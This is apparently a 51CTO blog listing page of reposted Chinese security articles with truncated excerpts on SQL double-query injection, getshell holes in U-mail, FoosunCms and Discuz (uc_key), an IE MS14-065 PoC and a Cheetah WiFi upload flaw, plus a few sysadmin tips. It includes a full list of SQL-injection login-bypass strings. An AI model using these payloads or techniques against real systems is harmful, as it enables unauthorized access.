KBK影院的最近发布

详细讲解双查询注入

上一篇文章中，http://leaver.me/archives/2726.html我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。看一个简单的例子：Select co

双查询注入

转载精选 2015-03-22 14:44:26 1333 阅读 1评论

根据字符串长度排序

awk '{print length($0),$0}' urfile | sort -k1,1nr | cut -d' ' -f2

字符串

排序

原创 2015-01-21 20:35:16 929 阅读

U-mail邮件系统又一getshell

漏洞作者：路人甲U-mail邮件系统某处处理不当，导致getshell详细说明：版本：U-Mail for Windows V9.8.57测试帐号：hello0001@fuck.com测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html

Windows

转载精选 2015-01-06 13:22:18 944 阅读

万能密码汇总

1："or "a"="a2： ')or('a'='a3：or 1=1--4：'or 1=1--5：a'or' 1=1--6："or 1=1--7：'or'a'='a8："or"="a'='a9：'or''='10：'or'='or'11:'or'1'='1'or'1'='1 1'or'1'='1 (网新)12：最短的万能登陆密码 'or'113：'or 1 or'或'or''=''or'

密码

转载精选 2014-12-09 11:44:32 1468 阅读

不允许常规上传时。。（当站点有人检测过怎么查看马儿的内容）

上传

转载精选 2014-12-09 11:41:39 585 阅读

vpn内网端口转发外网一键安装

#!/bin/bash echo "#########################################################" echo " &nbs

vpn

端口转发

转载精选 2014-12-09 11:33:45 1145 阅读

is marked as crashed and last (automatic?) repair解决办法

修复数据表操MYSQL数据表出现问题，提示：Error: Table './db_name/table_name' is marked as crashed and last (automatic?) repair failed修复数据表操作：1、service mysqld stop;2、cd /var/lib/mysql/db_name/3、myisamchk -r tablename.MYI

数据库

service

failed

数据表

repair

转载精选 2014-12-02 13:18:53 1397 阅读

FoosunCms getshell

在文件\User\award\awardAction.asp中：code 区域Integral=NoSqlHack(request.QueryString("Integral"))if action="join" then User_Conn.execute("Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values("&a

风讯

foosun

转载精选 2014-12-02 10:49:56 896 阅读

使用UC_KEY可重置论坛（除uid为1的）任意用户的密码

通过获取到的UC_KEY，即可重置论坛任意用户的密码，并清除安全提问。注意本重置任意用户密码的方法并不适用于uid为1的用户（即管理员），因为上会将本地的管理员用户覆盖，从而登陆不进去本地搭建的dz后台(重置管理员uid为1的方法后面讲)测试环境：目标站点：http://192.168.32.101/dz/。管理员jinglingshu，建了两个用户test1和test2。uc_key为B4s07

重置密码

uc_key

转载精选 2014-11-22 18:47:33 1483 阅读

Discuz X1.5 X2.5 X3 uc_key getshell

一、Discuz X1.5 X2.5 X3用uc_key来get webshelluc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的（不过可以通过uc_key来

getshell

uc_key

转载精选 2014-11-22 18:35:07 7054 阅读

discuz7.2 faq.php 最新注入漏洞分析

之前乌云上被提交的漏洞，今天突然被人发出来了，然后就各种中枪。奈何各种考试马上就来了，我也没工夫去写exp或脚本什么的，趁点休息时间把代码看看就好。实话说我很讨厌这种情况，一大堆人会的不会的拿着别人发的exp刷漏洞，刷分刷钱。不如静下心来分析一下漏洞产生的原因，也算是我吃不到葡萄在说葡萄酸吧，笑。因为有同学给出POC了，POC如下： &nb

discuz7.2 faq.php 最新

转载精选 2014-11-21 14:14:02 862 阅读

PHP代码审计小计

非常基础，go全面。Sung'blog:0x01 工具篇编辑器(notepad++,editplus,UE等等,看个人习惯)TommSearch(字符串检索) || grepHttpProtocolDebugger(http协议调试器)Fiddler(分析包,改包)Seay PHP代码审计工具(php-code-audit分析辅助)几个有趣的项目dvwa(代码审计测试平台)phpmvsp

字符串

security

system

编辑器

审计

转载精选 2014-11-21 14:12:10 698 阅读

MS14-065各种版本的poc

Internet Explorer < 11 - OLE Automation Array Remote Code Execution//* allie(win95+ie3-win10+ie11) dve copy by yuange in 2009. cve-

Internet

Explorer

Error

function

转载精选 2014-11-21 13:55:41 1368 阅读

你敢用猎豹WIFI 我就敢入侵你的电脑

漏洞详情：当猎豹wifi运行后会向外网开放8735端口（运行web），而其某接口存在漏洞导致任意文件上传，从而导致pc机沦陷。http://电脑的IP:8735/tool/#uploadhttp://电脑的IP/api/replypic 存在漏洞导致任意文件上传漏洞危害：默认装C盘可以实现挂马，指定入侵，拓展大企业内网监控pc机等。昨天去电脑维修店修电脑。发现他的电脑开的猎豹WIFI

源代码

扫描器

电脑维修店

修电脑

猎豹

转载精选 2014-11-19 15:45:29 1428 阅读

linux删除两个文档中相同记录的行

文档1（a.txt）111222333444555666777888999文档2（b.txt）aaabbbcccdddeee111fff222333jjjkkk444整理后的文件三內容如下: (c.txt)aaabbbcccdddeeefffjjjkkk作法如下: 1.先合并两个文本到一个临时文件中

linux

记录

原创 2014-11-13 14:35:40 1340 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

0daysec